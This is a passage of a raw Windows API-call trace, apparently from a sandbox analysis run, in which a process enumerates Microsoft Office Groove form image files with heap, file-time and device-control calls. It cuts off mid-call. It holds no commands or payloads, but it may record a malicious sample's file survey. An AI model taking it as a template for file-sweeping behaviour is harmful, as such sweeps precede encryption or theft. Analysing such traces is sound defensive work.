ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_disable.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_disable.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_disable.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FieldTypePreview", cAlternateFileName="")) returned 1 [0078.701] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.702] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0078.702] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0078.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.702] NtClose (Handle=0x164) returned 0x0 [0078.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beca8) returned 1 [0078.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beca8 [0078.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bedb0 [0078.703] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9080 [0078.705] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.706] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="")) returned 1 [0078.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beeb8 [0078.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1470 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11befc0 [0078.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.707] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREAK.JPG", cAlternateFileName="")) returned 1 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1490 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf0c8 [0078.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.708] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.JPG", cAlternateFileName="")) returned 1 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac14b0 [0078.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf1d0 [0078.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.708] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKBOX.JPG", cAlternateFileName="")) returned 1 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac14d0 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf2d8 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4540) returned 0x11c8048 [0078.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.709] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMBOBOX.JPG", cAlternateFileName="")) returned 1 [0078.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac14f0 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf3e0 [0078.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.710] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x36bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.JPG", cAlternateFileName="")) returned 1 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1510 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf4e8 [0078.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.711] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.JPG", cAlternateFileName="")) returned 1 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1530 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf5f0 [0078.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.712] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATE.JPG", cAlternateFileName="")) returned 1 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1550 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf6f8 [0078.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.712] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4139, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATETIME.JPG", cAlternateFileName="")) returned 1 [0078.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1570 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf800 [0078.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.713] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalInk.jpg", cAlternateFileName="")) returned 1 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1590 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bf908 [0078.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.714] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmbeddedView.jpg", cAlternateFileName="")) returned 1 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac15b0 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bfa10 [0078.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.715] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADING.JPG", cAlternateFileName="")) returned 1 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac15d0 [0078.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bfb18 [0078.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.715] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x139a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMAGE.JPG", cAlternateFileName="")) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac15f0 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bfc20 [0078.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.716] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINE.JPG", cAlternateFileName="")) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, 